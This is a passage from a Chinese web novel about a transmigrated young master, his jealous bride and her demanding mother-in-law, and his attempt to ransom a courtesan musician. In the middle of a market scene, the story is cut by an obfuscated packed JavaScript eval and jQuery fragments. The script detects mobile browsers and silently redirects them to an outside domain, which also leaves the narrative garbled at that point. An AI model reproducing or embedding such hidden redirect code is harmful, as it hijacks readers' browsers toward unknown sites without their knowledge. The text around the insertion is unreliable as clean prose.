李傲雪轻轻扭动着身子,娇嗔着坐在肖晨怀里,眉眼间带着些许委屈,嘟囔道:“少爷整日想着那么多事情,又是店铺,又是家中事务,唯独把我没有放在第一位呢。” 肖晨一听,赶忙抱紧李傲雪,一脸着急地解释:“哪有啊,我的心都快被你填满了,怎么会不把你放在首位。” 李傲雪抬眸,眼波流转,似有泪光闪烁,轻声抱怨:“我们新婚才没多久,可亲近的次数却寥寥无几,而且算起来也就2次,还都是我主动的,少爷你说,你是不是对我不上心。” 肖晨心中满是愧疚,他轻抚李傲雪的发丝,一脸歉意地说道:“傲雪,是我不好,是我疏忽了你的感受。这段时间忙着家里的事,冷落了你。往后我一定改,多留些时间陪你。”说着,他在李傲雪的脸颊上落下轻轻一吻。 李傲雪微微侧头,躲开他的吻,佯装生气道:“光嘴上说可不行,少爷得拿出实际行动来。” 肖晨连忙点头,将李傲雪抱得更紧,说道:“好好好,今晚我就哪儿都不去,专心陪着你。往后也一定把你放在心尖尖上,时时刻刻都念着你。” 李傲雪嘴角微微上扬,露出一抹不易察觉的笑意,她靠在肖晨怀里,轻声说道:“这还差不多,若是少爷再敢冷落我,我可饶不了你。” 肖晨笑着应道:“是是是,你说什么就是什么,我定不敢再犯。” 肖晨温柔地抱着李傲雪,缓缓走到床榻边,轻轻将她放下后,自己也顺势躺了上去。李傲雪脸颊绯红,眼神中满是娇羞与期待,她伸出纤细的手指,轻柔地替肖晨褪去衣衫。 肖晨见她这般举动,只当她奔波一天太过劳累,便轻声安抚道:“放心,我不会走的,就在这儿陪着你。” 李傲雪微微嘟起嘴,眼中闪过一丝嗔怪,声音软糯且带着几分急切:“少爷,我……我都这样了。你怎么还不主动呀。”说罢,她微微别过头去,可目光却又偷偷看向肖晨,那模样既羞涩又可爱。 肖晨嘴角噙着一抹戏谑的笑,故意逗她:“该怎么主动呀,我着实不会啊。”李傲雪又羞又急,跺脚嗔道:“少爷怎么这般不开窍!” 此刻满心的情意让她顾不了那么多,心一横,双手轻轻捧住肖晨的脸,微微仰头,主动吻了上去。 她的唇带着丝丝甜意与温热,轻轻触碰肖晨的唇。肖晨先是一怔,随即被她的热情点燃,双手下意识地搂住她的腰肢,回应着这个热烈的吻。 李傲雪实在是太爱眼前这人,内心的情感如决堤之水,让她急切得难以自抑。她的动作愈发大胆,呼吸也变得急促起来。 肖晨着实没有想到,平日里在众人面前胆小羞怯的李傲雪,竟还有如此热情似火的一面。她此刻的表现,全然没了往日的矜持,倒像是一头勇猛无畏的小老虎,主动且热烈地表达着自己的爱意。这强烈的反差,让肖晨既惊讶又惊喜。 结束后,李傲雪目光灼灼地凝视着肖晨,眼中满是不容置疑的占有欲,语气坚定地说道:“少爷,你这辈子都是我的。从你的人到你的心,包括你的一切,统统都只能属于我。你可记住了,绝不能让别的女人碰你一下。” 肖晨被她这副模样逗得心中一暖,伸手轻轻刮了刮她的鼻子,笑着应道:“好好好,我都听你的。这辈子就守着你一人,旁人再美,我也不会多看一眼。” 李傲雪这才满意地笑了,脸上的红晕未退,又往肖晨怀里蹭了蹭,娇嗔道:“少爷可要说话算话,若是让我发现你与别的女子有什么不清不楚,我……我可饶不了你。” 肖晨抱紧她,在她额头上落下一吻,郑重其事地说道:“我自然说话算话。傲雪,你在我心里是独一无二的,容不得旁人插足。你这般紧张我,我欢喜还来不及呢。” 李傲雪听到肖晨这般承诺,这才满意地笑了,那笑容如同春日绽放的花朵般灿烂。此刻的她,对眼前这位小夫君愈发依赖,仿佛他就是自己生命中最重要的依靠。 然而,肖晨话锋一转,略带无奈地说道:“只不过,我的朋友可都是女子。” 李傲雪一听,笑容瞬间僵住,警惕地抬头看向肖晨,眼神中透露出一丝醋意,问道:“都是女子?少爷与她们是何交情?为何朋友尽是女子?” 肖晨赶忙解释,生怕李傲雪误会:“傲雪,你别多想。我自幼与她们一同长大,大家就像亲人一般,纯粹是儿时的情谊,并无其他。而且这么多年,我对她们也只是朋友之情,心里只有你。” 李傲雪微微撇嘴,哼了一声道:“即便如此,往后你与她们相处,也得注意分寸。我可不希望有别的女子与我争抢你。” 肖晨连忙点头,安抚道:“那是自然,我定会注意。往后与她们往来,都带上你,让你安心。” 李傲雪这才稍稍释怀,重新靠在肖晨怀里,小声嘟囔:“这还差不多,少爷你可莫要辜负我对你的一片真心。” 29. 他想救她,却没办法 肖晨对她说到:我是不会和你分开的,只是,只是,李傲雪听着肖晨吞吞吐吐的话语,心中那股不好的预感愈发强烈,急切地追问道:“少爷,只是什么?” 肖晨微微叹了口气,缓缓说道:“如果我没碰到你之前,也许我会爱上别人。”话一出口,他思绪飘到了那个原本属于自己的现代世界。在心里默默想着,要是自己还在现代,凭借着自己的喜好,或许会找个帅气的男生谈恋爱,平平淡淡地过完一生。可如今来到古代,还成为了男人,娶了李傲雪,这一切都像是一场不可思议的梦,许多事都超出了自己原本的设想。 李傲雪听闻此言,心中一阵刺痛,眼眶瞬间红了起来,她抬起头,难以置信地看着肖晨,声音带着一丝颤抖:“少爷,你……你这话是什么意思?难道在你心里,我终究还是比不上你未曾遇见的那个人?” 肖晨见李傲雪如此难过,心中懊悔不已,赶忙将她紧紧拥入怀中,急切地解释道:“傲雪,你别误会。我不是这个意思,我只是在说假如。如今我已经遇到了你,我的心里便只有你一人,那些假设根本没有任何意义。你就是我此生最重要的人,谁也无法取代。” 李傲雪在肖晨怀里抽泣着,说道:“少爷,你知道吗?你这话让我好害怕,我真的好怕失去你。你以后不许再说这样的话了,好不好?” 肖晨心疼地轻抚着李傲雪的后背,连连点头:“好,我不说了。是我不好,让你伤心了。傲雪,相信我,我会一直陪在你身边,不离不弃。” 李傲雪紧紧地抱着肖晨,仿佛用尽了全身的力气,生怕一松手他就会消失一般,声音带着哭腔说道:“我只要少爷一个人。我有多么喜欢你,爱你超过我的生命。”她的脸颊紧紧贴在肖晨的胸口,能清晰地听到他有力的心跳声,这让她略微安心了些。 肖晨感受着李傲雪的深情,心中满是感动与怜惜,他轻轻抚摸着她的秀发,缓缓开口:“在遇到你之前,是没有人喜欢我的。我就是成天读书、玩游戏的普通人。”他微微仰头,眼神中带着一丝对往昔的追忆,仿佛又回到了那个熟悉却遥远的现代世界。在那里,他不过是茫茫人海中平凡的一员,每日过着千篇一律的生活,身边围绕的只有书本和虚拟的游戏世界,从未想过会在另一个时空,收获这般炽热且纯粹的爱情。 李傲雪微微抬头,泪眼朦胧地看着肖晨,眼中满是心疼:“少爷,怎么会呢?你这般好,若我早些遇到少爷,定不会让少爷觉得无人喜爱。”她伸出手,轻轻擦拭掉肖晨脸颊上不知何时滑落的一滴泪,动作轻柔而小心翼翼。 肖晨看着眼前为自己心疼不已的李傲雪,心中一阵暖流涌动。他紧紧握住李傲雪的手,深情地说道:“傲雪,幸好我来到了这里,遇到了你。你就是上天给我最好的礼物,让我感受到了从未有过的温暖与爱意。” 李傲雪眼中闪过一丝忧虑,声音带着几分忐忑说道:“少爷能这么说,我很开心,可是,可是少爷说,你的父母不接受我,他们会不会把我赶出去,给你重新娶亲。”她紧紧揪着肖晨的衣角,仿佛这样就能抓住一丝安全感。 肖晨心中一滞,思绪瞬间又被拉回到现代与古代交织的复杂情境中。他心里暗自苦笑,在现代父母是不接受同性恋的,按照那时的观念,自己作为同性恋者,根本不可能像正常异性恋那样娶亲,甚至只有“嫁”人的份。可如今身处古代,情况却截然不同。 看着李傲雪担忧的模样,肖晨赶忙回过神来,将她拥得更紧,安慰道:“傲雪,你别担心。即便父母一开始不接受,我也不会让他们把你赶走,更不会重新娶亲。我认定了你,就不会改变。”他轻轻抬起李傲雪的下巴,让她直视自己的眼睛,眼神中满是坚定与深情,“无论如何,我都会站在你这边,我们一起面对,总会有办法让他们认可你的。” 李傲雪看着肖晨坚定的眼神,心中的担忧稍稍减轻了些,但仍有些不安:“可是少爷,万一……” 肖晨不等她说完,便用手指轻轻抵住她的嘴唇:“没有万一,相信我。我不会让任何人把我们分开。” 李傲雪一脸信赖地看着肖晨,轻声说道:“少爷,你怎么说我怎么做就是。”她眼中满是对肖晨的依赖与顺从。 肖晨听她这般回应,心中一动,决定试探一下,缓缓开口道:“傲雪,其实有件事我一直想跟你说,这副身体的灵魂可不是我的。要是哪一天这副身体原本的灵魂回来了,你要跟他过一辈子吗?”说完,他紧张地看着李傲雪,想从她的反应中探寻她对自己感情的深度。 李傲雪听闻此言,先是一愣,脸上浮现出一丝惊愕。但很快,她的眼神变得坚定起来,伸手轻轻握住肖晨的手,认真说道:“少爷,不管这身体里住的是谁的灵魂,我喜欢的是现在与我相处、对我关怀备至的你。就算真有那么一天,那副身体原来的灵魂回来,我……我也只认定你。”她微微低下头,脸颊泛起红晕,声音虽小却透着不容置疑的坚决,“我和你一起经历了这么多,这份感情不是说断就能断的。” 肖晨听着李傲雪的表白,心中涌起一阵感动。他原本还有些忐忑,害怕李傲雪会因为这离奇的说法而对自己产生疏离。此刻见她如此坚定,不禁紧紧将李傲雪拥入怀中,感慨地说道:“傲雪,你放心,不管发生什么,我都不会离开你。你就是我在这世上最珍视的人。” 李傲雪微微仰头,目光温柔且坚定地看着肖晨,轻声说道:“只有少爷才能和我有共同的语言,和我成婚洞房的是你,女子怎么可以嫁二夫呢。”她的声音轻柔,却带着一种不容置疑的决然,仿佛在向天地宣告自己对这份感情的忠贞不渝。 肖晨轻轻抚摸着李傲雪的秀发,满是感慨地说道:“我就是遇到了你,要是换了别人,也许这日子会被逼疯。”他微微叹了口气,眼神中流露出一丝庆幸与感激,“你懂我那些奇奇怪怪的想法,能包容我的一切。在这陌生的世界里,你就像我唯一的依靠,是你让我真正感受到了生活的美好。” 李傲雪脸上泛起羞涩的红晕,嘴角微微上扬,露出幸福的笑容:“少爷,我也一样呀。自从遇到少爷,我的生活才变得这般丰富多彩,充满了乐趣。以前从未想过,会遇到像少爷这样特别的人。”她将头靠在肖晨的肩上。 肖晨抱紧李傲雪,轻声说道:“傲雪,我们都不能放开彼此的手。”李傲雪用力地点点头,低声回应道:“嗯,少爷,我不会放开的,永远都不会。” 两人相拥着,在甜蜜温馨的氛围中缓缓睡去,一夜好眠。 翌日清晨,阳光透过窗棂,轻柔地洒在床榻之上。李傲雪悠悠转醒,看着身旁仍在熟睡的肖晨,嘴角不自觉地泛起一抹温柔笑意。她小心翼翼地起身,生怕惊扰了肖晨,随后轻手轻脚地准备好洗漱用具。 待一切准备妥当,李傲雪才轻轻摇醒肖晨:“少爷,该起身了。” 肖晨缓缓睁开双眼,看到李傲雪温柔的面容,心中满是暖意。 在李傲雪的服侍下,肖晨起身穿衣。李傲雪一边细致地为肖晨整理着衣衫,一边轻声说道:“我最幸福的就是每天能够伺候少爷。” 肖晨听后,忍不住亲了她一下,认真地说道:“你是我的妻子,又不是丫鬟。” 李傲雪脸上微微一红,赶忙说道:“少爷不要再说这些话。女子伺候丈夫是应该的,少爷不要让我难做。” 肖晨无奈地笑了笑,宠溺地说道:“罢了,你喜欢就行。” 看着李傲雪忙碌却又开心的身影,肖晨心中感慨,虽然两人观念略有不同,但这份心意却是无比珍贵。 洗漱好后,两人携手来到饭厅,只见肖母早已端坐在主位上。李傲雪赶忙上前,恭敬地向肖母问安:“母亲,儿媳给您请安了。” 肖母微微皱眉,眼神中略带不满,说道:“你做媳妇也够懒的,还要让我等你过来。” 肖晨一听,赶忙护在李傲雪身前,说道:“母亲,您就别为难傲雪了。她昨日忙前忙后,想必是累着了,所以起晚了些。” 肖母哼了一声,说道:“我这是为你好。身为当家主母,若是连早起这点规矩都守不住,日后如何掌管这一大家子?” 李傲雪心中有些委屈,但还是轻声说道:“母亲教训得是,儿媳日后定会注意,不会再犯。” 肖晨看着李傲雪受委屈的模样,心中不忍,又对肖母说道:“母亲,傲雪初来乍到,许多规矩还不熟悉,您多教教她便是,不必如此严厉。” 肖母看着儿子护妻心切的样子,无奈地摇摇头,说道:“罢了罢了,就你惯着她。赶紧坐下吃饭吧,饭菜都要凉了。” 肖晨这才拉着李傲雪坐下,用餐时,还时不时给李傲雪夹菜,眼神中满是关切。李傲雪则低着头,安静地吃着饭,心中默默想着,一定要尽快熟悉家中规矩,不让肖晨为难。 三人用过餐,肖晨便踱步去书房读书。肖母转过头,目光直直看向李傲雪,缓缓开口:“虽说家里不缺人手,但你身为这家中的媳妇,以后除了伺候好丈夫,也不能偷懒。你现在就去把我房间整理一番,完了再去准备中午我要吃的菜。” 李傲雪赶忙应下:“是,母亲。儿媳这就去办。”她不敢有丝毫耽搁,转身便往肖母房间走去。到了房中,她先是将散落在桌上的物件一一归位,动作娴熟且迅速,擦拭家具时,不放过任何一个角落,力求一尘不染。整理床铺时,把被子叠得方方正正,床单抚平得没有一丝褶皱。 结束房间整理后,李傲雪又匆匆赶到厨房。她仔细回想肖母平日的口味喜好,挑选出鲜嫩的时蔬,又精心选了块肥瘦相间的猪肉。她有条不紊地洗菜、切菜,配菜搭配得恰到好处。一切准备就绪,只待生火烹饪,为肖母准备一顿可口的午餐,期望能借此让肖母对自己的印象有所改观。 肖母侧身,对着身旁侍奉的丫鬟轻声吩咐:“待会她做菜的时候,你就去告诉她,就说我要吃少油少盐的食物,可千万别让她忘了给我炖上最爱吃的燕窝。”丫鬟福了福身,乖巧应道:“是,老夫人。”说罢,便轻移莲步,朝着厨房走去。 此时李傲雪正在厨房中忙碌,炉灶上的火苗跳跃着,锅里的油微微冒烟。丫鬟走进厨房,清了清嗓子说道:“少夫人,老夫人吩咐了,她要吃少油少盐的食物,还有,老夫人最爱的燕窝可别忘了炖。”李傲雪停下手中动作,微笑着回应:“好的,我记住了,多谢你过来告知。”丫鬟微微点头,便退了出去。 李傲雪不敢懈怠,将锅中的菜迅速翻炒几下,减少油的用量,调味时也格外注意盐的分寸。随后,她洗净炖盅,仔细挑选出上等的燕窝,按照炖煮的讲究,放入适量的水,调好火候,开始精心烹制燕窝。 过了许久,李傲雪终于将饭菜和炖好的燕窝一一摆放在托盘上,小心翼翼地端去给肖母。她轻轻叩响房门,得到肖母“进来”的回应后,才稳步踏入房中。 李傲雪将托盘置于桌上,轻声说道:“母亲,饭菜准备好了,您尝尝合不合口味。” 肖母抬眼打量了一下桌上的菜肴,只见色泽搭配倒是清爽宜人,燕窝炖煮得也恰到好处,丝丝缕缕,泛着莹润的光泽。 肖母拿起筷子,先尝了一口菜,咀嚼了几下,微微点头:“嗯,这次盐味把握得还不错,少油也做到了。” 李傲雪心中一喜,脸上浮现出淡淡的笑容:“母亲喜欢就好,儿媳以后会更加留意您的口味。” 接着,肖母又舀了一勺燕窝送入口中,轻轻抿了抿,脸色却忽然一沉。李傲雪见状,心中“咯噔”一下,紧张地问道:“母亲,可是这燕窝有什么不妥?” 肖母放下勺子,略带责备地说:“这燕窝炖煮的火候虽好,可甜度却差了些,我向来喜欢甜口重一点的。” 李傲雪赶忙致歉:“母亲,实在抱歉,是儿媳疏忽了。儿媳这就去重新炖一份。” 说着,便要端起燕窝离开。肖母摆了摆手:“罢了,这次就这样吧,下次可别再犯。你也坐下吃点,站在这儿看着,我反倒不自在。” 李傲雪应了一声“是”,这才在一旁的小凳上坐下,心中却仍有些忐忑。用餐过程中,肖母偶尔会说上几句关于家中琐事和规矩的话,李傲雪都一一认真记下。 吃完饭后,李傲雪主动收拾碗筷,准备拿去厨房清洗。肖母看着她忙碌的背影,心中暗暗思忖:这媳妇虽说有些地方还不够周到,但态度倒是诚恳,若能好好调教,日后或许能成为儿子的贤内助。 而李傲雪在厨房洗刷碗筷时,心里也在琢磨着如何更好地迎合肖母的喜好。她深知,要想在这个家安稳幸福地生活,得到肖母的认可至关重要。 李傲雪忙完厨房的活儿,便回到自己房间,坐在织布机前继续织布纺线。细密的汗珠从她额头沁出,可她的双手依旧不停地穿梭引线,动作娴熟而专注。 这时,玉溪轻手轻脚地走进房间,看着李傲雪辛苦劳作的模样,忍不住心疼地说道:“少夫人,你看看你现在这么辛苦,要不要告诉公子呀?他肯定不会坐视不管的。” 李傲雪停下手中的动作,用衣袖轻轻擦了擦额头上的汗,微笑着对玉溪说道:“不要告诉少爷。要是让他知道了,跑去跟母亲理论,反而会让母亲为难。” 玉溪皱着眉头,一脸不平地说道:“老夫人这就是故意为难你呀!少夫人你已经做得够好了,还要这般苛刻。” 李傲雪轻轻摇了摇头,耐心地解释道:“玉溪,婆婆毕竟是长辈,这家里的规矩向来如此。在这世道,做媳妇的要是不孝顺、不顺从长辈,是会被人指指点点,甚至可能被赶出去的。我不想因为这些事,让少爷夹在中间左右为难,也不想破坏了家里的和睦。” 玉溪无奈地叹了口气:“少夫人,您就是心太软,太为他人着想了。可您也不能总这么委屈自己呀。” 李傲雪拍了拍玉溪的手,安慰道:“我知道你心疼我,但我相信只要我用心去做,总有一天母亲会看到我的好,会认可我的。你也别把这些事放在心上,咱们做好自己该做的就行。”说完,李傲雪又重新拿起梭子,继续织布,眼神中透着坚韧与执着。玉溪看着她,心中满是敬佩与心疼,却也只能默默在一旁帮忙打下手。 肖晨在书房中结束了一天的课业,恭敬地送走老先生后,心中不禁挂念起李傲雪。他转头看向身旁的小厮阿成,问道:“阿成,你可知少夫人这会儿在做什么?” 阿成心中有些犹豫,他知晓李傲雪今日的忙碌与辛苦,可又怕如实相告会让少夫人难做,思忖片刻后说道:“少爷,少夫人在房里织布打发时间呢。” 肖晨听闻,微微点头,脑海中浮现出李傲雪专注织布的模样,心想:她的绣工不错,平日里也爱摆弄这些,这样倒也能给自己找些事做,不至于太过无聊。如此想着,便也没再多问。 他伸了伸懒腰,对阿成说道:“陪我出去走走吧,在书房闷了一天,也该活动活动筋骨了。”阿成赶忙应道:“是,少爷。”两人便一前一后走出了书房,沿着庭院中的石子路缓缓踱步。 此时正值午后,阳光透过斑驳的树叶洒在地上,形成一片片光影。肖晨漫步其中,呼吸着清新的空气,心情也渐渐放松下来。然而,他心底仍隐隐牵挂着李傲雪,只是并未察觉,阿成那番话背后或许另有隐情。 走着走着,肖晨不禁与阿成聊起了近日所学,阿成在一旁认真倾听,偶尔也会插上几句见解。不知不觉间,他们已绕着庭院走了好几圈,而李傲雪在房内忙碌的画面,却始终萦绕在肖晨心头,挥之不去。 肖晨与阿成踏出府邸,街市的热闹喧嚣瞬间扑面而来。人来人往,叫卖声、谈笑声交织在一起。肖晨看着熙熙攘攘的人群,心中不禁泛起一丝担忧,暗自思忖:要是能有个武艺高强的护卫在身边就好了。虽说阿成向来对自己忠心耿耿,可真要是遇上点突发状况,以阿成的身手,恐怕也保护不了自己。 阿成跟在肖晨身后,见他眉头微皱,似有心事,便关切地问道:“少爷,您怎么了?是不是这街市太过嘈杂,扰了您的兴致?”肖晨回过神来,摆了摆手道:“无妨,只是突然想到一些事情。阿成,你说若是我们在此遇到什么危险,该当如何?” 阿成一愣,随即拍着胸脯说道:“少爷放心,有我在,定会拼死保护您周全!”肖晨看着阿成一脸决然的模样,心中感动,却也深知他的能力有限,笑着说道:“我知道你忠心,可有些事并非仅凭忠心就能解决。改日,我寻思着要找父亲商议,看看能否为我安排个护卫。” 阿成挠了挠头,有些不好意思地说:“少爷,是我能力不足,不能给您足够的安全感。”肖晨笑着拍了拍他的肩膀:“你别多想,这并非你的错。多个人在身边,总归是多一份保障。”说罢,两人继续在街市上走着。 肖晨漫步间,来到了一处摆满鸟笼的摊位前。笼中,各式各样的鸟儿或扑腾着翅膀,或婉转啼鸣。他的目光瞬间被一只八哥吸引,只见那八哥羽毛乌黑发亮,眼睛灵动有神,正歪着头打量着周围。 肖晨不禁眼前一亮,对摊位老板说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993190|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这鸟不错,有什么特点?” 老板一听,立刻满脸堆笑地凑过来,热情介绍道:“公子好眼力!这八哥可机灵着呢,学舌的本事那叫一绝。您要是教它说话,不出几日,它便能学得有模有样,逗趣得很。平日里寂寞了,听它学您讲话,保准能让您开怀大笑。而且这八哥认主,一旦跟您熟悉了,就只听您的话,旁人可使唤不动。” 肖晨饶有兴致地看着八哥,心想若是买来送给丁香姑娘,她每日在弹琴待着也无聊,有这八哥相伴,也能多些乐趣,解解闷儿。他又细细端详了一番八哥,问道:“这鸟生性可好?会不会难伺候?” 老板连忙摆手,保证道:“公子放心,这八哥生性活泼亲人,平日里就喂些谷物、虫子就行,好养活得很。只要您稍微花些心思,保管它跟您亲近得不得了。” 肖晨听老板说完,很是满意,点头示意阿成付了钱。阿成从怀中掏出银子递给老板,老板喜笑颜开,忙不迭地将八哥的鸟笼交到肖晨手中。 二人转身离开摊位,径直朝着湖边走去。湖边,一艘艘画舫静静停泊,在阳光的照耀下,船身的朱漆泛着光泽。肖晨带着阿成登上一艘装饰精美的画舫,这艘船正是丁香姑娘待客抚琴之处。 走进画舫内,清幽的琴音袅袅传来。肖晨轻轻踱步,顺着琴音的方向寻去,只见丁香姑娘正端坐在室内,素手轻扬,在琴弦上舞动。她面前坐着几位客人,正闭眼沉醉在这美妙的琴音之中。 肖晨不忍心打扰,便轻手轻脚地在一旁找了个位置坐下,静静等待。他将装有八哥的鸟笼小心放置在身旁,目光时不时落在丁香姑娘身上,又看看鸟笼里的八哥,心中想着等丁香姑娘一曲奏毕,便把这可爱的八哥当作惊喜送给她,想必她定会欢喜。阿成则安静地站在肖晨身后,同样沉浸在这悠扬的琴音里,一时间,画舫内唯有那潺潺流淌般的琴音在空气中回荡。 随着最后一个音符袅袅消散在空气中,客人们如梦初醒,纷纷回过神来,对丁香姑娘的琴艺赞不绝口。“丁香姑娘,此曲只应天上有,人间能得几回闻呐!”一位身着绸缎的中年男子忍不住赞叹道。其他人也随声附和,纷纷掏出赏钱放在桌上。 丁香起身,莲步轻移,微微欠身向客人们道谢,脸上带着温婉的笑容,眼神中透着淡雅与从容。待客人散去后,她才注意到坐在角落的肖晨。 “肖公子,您来了,怎么也不唤我一声。”丁香款步走到肖晨面前,轻声说道,语气中带着一丝嗔怪。 肖晨站起身来,笑着说道:“方才见你抚琴正投入,实在不忍打断,只好在一旁静静聆听。不得不说,你的琴艺又精进了不少。” 丁香脸颊微微泛红,低头浅笑:“公子谬赞了。不知公子今日前来,所为何事?” 肖晨这才想起身旁的八哥,他弯腰提起鸟笼,递到丁香姑娘面前,说道:“今日在街市上看到这只八哥,觉得甚是有趣,想着你平日里抚琴弄弦,有它相伴,也能多些乐趣,便买了下来送与你。” 丁香惊喜地看着鸟笼里的八哥,眼中满是欢喜:“呀,这八哥真可爱!瞧它圆溜溜的眼睛,模样机灵极了。多谢公子,如此费心想着我。”她轻轻接过鸟笼,爱不释手地端详着八哥。 肖晨看着丁香开心的模样,心中也满是愉悦:“你喜欢便好。这八哥学舌本事了得,假以时日,说不定能与你对话呢。” 丁香抬眸,目光盈盈地看着肖晨:“公子送的礼物,我自然喜欢。只是如此珍贵的礼物,我……” 肖晨摆摆手,打断她的话:“你我之间,何须如此客气。只要你能开心,比什么都重要。” 阿成站在一旁,看着自家公子与丁香姑娘相处融洽,也不禁微微露出笑意。 丁香眼中闪烁着晶莹的泪光,声音略带颤抖地说道:“公子,自我记事起,从来没人把我这么放在心上。我出身卑微,在这世间摸爬滚打,看惯了男人们或轻佻、或贪婪的嘴脸。他们大多只是为了听我抚琴,或者抱着其他不纯的目的,从来没有遇到像公子这样真心待我的少年郎。” 肖晨心中一阵触动,看着丁香姑娘楚楚可怜的模样,不禁心生怜惜。他轻声说道:“丁香姑娘,出身并不能决定一个人的价值,你才情出众,心地善良,值得被真心对待。我欣赏的是你的内在,而非其他。” 丁香微微点头,用帕子轻轻拭去眼角的泪花,努力挤出一抹笑容:“多谢公子宽慰,能得公子这番话,丁香此生无憾。只是,我这身份……” 肖晨明白她心中的顾虑,认真地说道:“莫要再提身份之事。在我眼中,你就是那个能奏出天籁之音,有着高洁品性的丁香姑娘。日后若有什么难处,尽管与我说便是。” 丁香心中涌起一股暖流,她深情地看着肖晨,说道:“公子的大恩,丁香铭记于心。日后若公子有任何差遣,丁香定当全力以赴。” 肖晨笑着摇摇头:“无需如此,我只愿你能每日开心,继续奏出美妙的琴音。对了,这八哥你可要好好调教,说不定以后它能给你带来更多欢乐。” 丁香看着鸟笼里的八哥,眼神满是温柔:“嗯,我定会好好待它,就如同珍视公子的这份情谊一般。” 肖晨看着丁香姑娘,目光柔和地说:“这鸟能得到你这样的主人相待,也是它的运气。不过丁香,我一直想问,你打算余生都留在这里吗?” 丁香姑娘微微一愣,随即神色黯然下来,轻轻叹了口气说道:“公子,我又何尝不想离开这声色之地,去过自在的生活。只是我的卖身契还在他们手里,他们把我当作摇钱树,是无论如何都不会放人的。” 说到此处,她的眼中闪过一丝无奈与悲凉,低下头去,看着手中鸟笼里的八哥,仿佛在它身上看到了自己被困住的命运。 肖晨皱了皱眉,心中涌起一阵不平:“这也太过分了!难道就没有别的办法?你在这里日夜操持,所赚银钱想必也足够赎回自己,他们却仍不肯放人,实在可恶。” 丁香姑娘苦笑着摇摇头:“公子有所不知,这行里的规矩复杂得很。即便我攒够了赎身的银子,他们也会想出各种理由刁难,或是抬高赎金,总之就是不想轻易放我走。” 肖晨握紧了拳头,心中暗自思量对策,片刻后,他抬起头看着丁香姑娘,眼神坚定地说:“丁香,你莫要灰心。我定会想办法帮你摆脱这困境,赎出你的卖身契,让你重获自由。” 丁香姑娘听闻,眼中闪过一丝惊喜与感动,连忙说道:“公子,此事太过艰难,怎能让您为我如此费心。这……” 肖晨打断她的话:“你我既是朋友,我又怎能眼睁睁看你被困于此。你只需安心等待,我定不会食言。” 丁香姑娘眼眶再次湿润,她微微屈膝,深深行了一礼:“若真能如此,丁香做牛做马也要报答公子大恩。” 肖晨赶忙上前扶起她:“快别这样,我说过,无需如此见外。咱们一起想办法,总会成功的。” 肖晨心意已决,当即让丁香带着自己去见这里的老板。一行人来到一处布置奢华的房间前,丁香轻轻推开门,屋内为首的领头人看到肖晨,见这少爷穿着绫罗绸缎,气度不凡,心中暗暗思忖,此人想必出身富贵之家。 领头人皱了皱眉,看向丁香说道:“丁香,你带客人来做什么?” 肖晨上前一步,开门见山地说道:“我想给她赎身。” 领头人听后,脸色一沉,冷笑一声说道:“我们是不会放人的。各行都有各行的规矩,丁香签了死契,岂是说赎就能赎的。就算你再有钱也没用。” 肖晨面色平静,直视着领头人的眼睛,不卑不亢地说道:“规矩是死的,人是活的。我知道你们在这行经营不易,只要你们开个价,合理范围内,我绝不还价。丁香在你们这儿这么久,也为你们赚了不少银钱,还请行个方便。” 领头人哼了一声,不为所动:“哼,不是钱的事儿。她可是我们这儿的招牌,放走了她,我们的生意怎么办?况且,坏了这规矩,以后其他姑娘都效仿,我们还怎么管理?” 丁香在一旁忍不住说道:“王头领,我这些年尽心尽力为馆里做事,从未有过二心。如今公子愿意帮我赎身,还望您高抬贵手。” 领头人瞪了丁香一眼:“你少在这儿多嘴!有你说话的份儿吗?” 肖晨见状,心中有些恼怒,但仍强压怒火,思索着对策。他深知,此事不能硬来,还需从长计议,可又实在不愿轻易放弃帮丁香赎身的念头。 30. 人性的贪婪 领头的睨了肖晨一眼,语气中带着一丝警告:“我看你也是客人的份上就不跟你计较了,要是你不懂规矩,我们这可是不会留情面的。” 他心里暗自盘算,女子就是摇钱树,只要还有利用价值,每天可是日进斗金。那点赎身钱算得了什么,放走丁香,无疑是断了自己一条财路。 肖晨眉头紧皱,心中明白领头人是铁了心不肯放人。但他并不打算就此罢休,思索片刻后,放缓语气说道:“王头领,我理解您的顾虑,可您也该为丁香往后的人生想想。她在这儿这么多年,为您挣了多少银钱,您心里清楚。如今她渴望一个安稳的归宿,您又何必苦苦相逼呢?” 领头人不屑地撇撇嘴:“哼,在这世上,谁不为自己考虑?她的归宿与我何干?我开这生意,就是为了赚钱。她在这儿,能给我带来源源不断的财富,我凭什么放她走?” 肖晨深吸一口气,试图换个角度说服对方:“王头领,您不妨换个思路。若是今日您成全了丁香,我肖家必定记您这份人情。日后您在生意上若有什么需要帮忙的地方,只要是我肖家力所能及的,绝不会推脱。这可比您留住丁香一人,长远得多。” 领头人微微一怔,肖家的名号他倒是听过,知晓是本地颇有权势的家族。但他仍有些犹豫,毕竟丁香眼下的价值实实在在摆在眼前。权衡再三,他还是咬咬牙说道:“肖公子,不是我不给您面子,只是这事儿关乎我们的规矩和生计,实在难以通融。” 丁香眼中满是绝望,泪水在眼眶里打转,她实在没想到领头人竟如此绝情。肖晨看在眼里,心中愈发怜惜丁香,也更加坚定了要帮她脱离苦海的决心。 肖晨心急如焚,再次对头领说道:“你只要放了她,多少钱都可以。无论你开什么价,我都尽量满足。” 领头人听闻,嘴角勾起一抹狡黠的笑,慢悠悠地说道:“这个可不行,她除了赚钱还有其他价值。你要真想赎身,就拿全部的家产来换。”他心里笃定肖晨绝不可能答应这个条件,不过是故意刁难,想让肖晨知难而退。 肖晨闻言,心中一凛,着实没想到他们的胃口竟如此之大。那些家产是几代人辛辛苦苦积攒下来的血汗,承载着家族的兴衰荣辱,他怎么可能轻易拿出。无奈之下,肖晨只得说道:“这个我办不到。” 领头的见状,得意地笑了笑,摆摆手说道:“既然做不到,那就请回吧。以后莫要再来提这档子事,省得大家都不愉快。” 